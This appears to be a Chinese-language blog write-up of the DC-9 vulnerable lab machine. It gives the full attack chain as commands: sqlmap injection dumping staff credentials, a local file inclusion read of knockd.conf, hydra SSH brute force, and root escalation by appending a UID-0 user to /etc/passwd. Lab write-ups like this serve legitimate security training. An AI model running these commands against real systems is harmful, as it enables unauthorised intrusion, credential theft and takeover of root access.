DC-9

nmap -Pn 192.168.114.0/24

nmap -sV 192.168.114.152

22端口被过滤了。

四个页面,两个功能点,只是一个普通的网站,第二个页面列出了一些员工信息,第三个页面是一个搜索框,第四个页面是登录界面。

感觉跟数据库有点关系,对第二个页面的参数进行了fuzz,但是没有结果。

通过姓名可以搜到员工的相关信息。

可以断定注入点就在这里。

参数名是search。用sqlmap跑一下result.php页面,不是search页面。

sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -dbs

有两个数据库,Staff和users。

sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -D Staff -T StaffDetails --dump

sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -D Staff -T Users --dump

sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -D users -T UserDetails --dump

通过对这两个数据库的检测,得到了很多有用的信息,其中有员工的账号和密码,还有管理员的密码(经过了hash加密,有点像MD5)。拿去MD5解密得到transorbital1。

登录成功。注意这几个词,应该是本地文件包含。

对参数进行fuzz。

多返回几级目录,不然可能读不到根目录。

现在取认参数名位file。

好了无从下手了,看看作者给的文章。这篇文章说了一个knockd.conf这个文件,搜了一下,看到了这篇文章

ssh登录时,通过访问特定端口来敲门,之后ssh才会开启。而这些信息都在/etc/knockd.conf里面,而恰好现在就可以进行本地文件包含。

开门端口为7469,8475,9842。

可以看到,敲门之后22端口就开了,再通过之前得到的员工信息进行远程登陆。

结果没登成功,这个用户和密码不是一一对应的。

将用户名和密码分别保存为user.txt和passwd.txt

hydra -L user.txt -P passwd.txt 192.168.114.152 ssh

登录成功。

chandlerb什么都没有,换一个。

joeyt也是什么都没有。来看最后一个。

较前两个,这个多了这一条信息。

得到了一些密码。感觉还是和ssh登录有关,把得到的再加到原来的passwd.txt里面进行爆破。

又得到了一个用户。

fredf这个用户可以以root权限运行这个命令。

看到一个python文件。

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

代码首先检查命令行参数的数量是否为3,如果不是,则输出使用说明并退出程序。如果参数数量正确,它将打开要读取的文件和要写入的文件,并将文件的内容读取到内存中,然后将内容写入到要写入的文件中。

但是不知道有什么用,然后又去看了看文章。文章的意思是通过test命令在/etc/passwd中追加一个用户信息,并且是root权限。

用openssl生成加密用户。openssl -1 -salt block block

openssl passwd 手动生成密码——passwd提权

echo 'block:$1$block$rmzomD66vFos4pbl5yb5z1:0:0::/root:/bin/bash' >> /tmp/exp

sudo ./test /tmp/exp /etc/passwd

提权成功。

posted @ 2024-01-17 00:26  bl0ck  阅读(16)  评论(0)    收藏  举报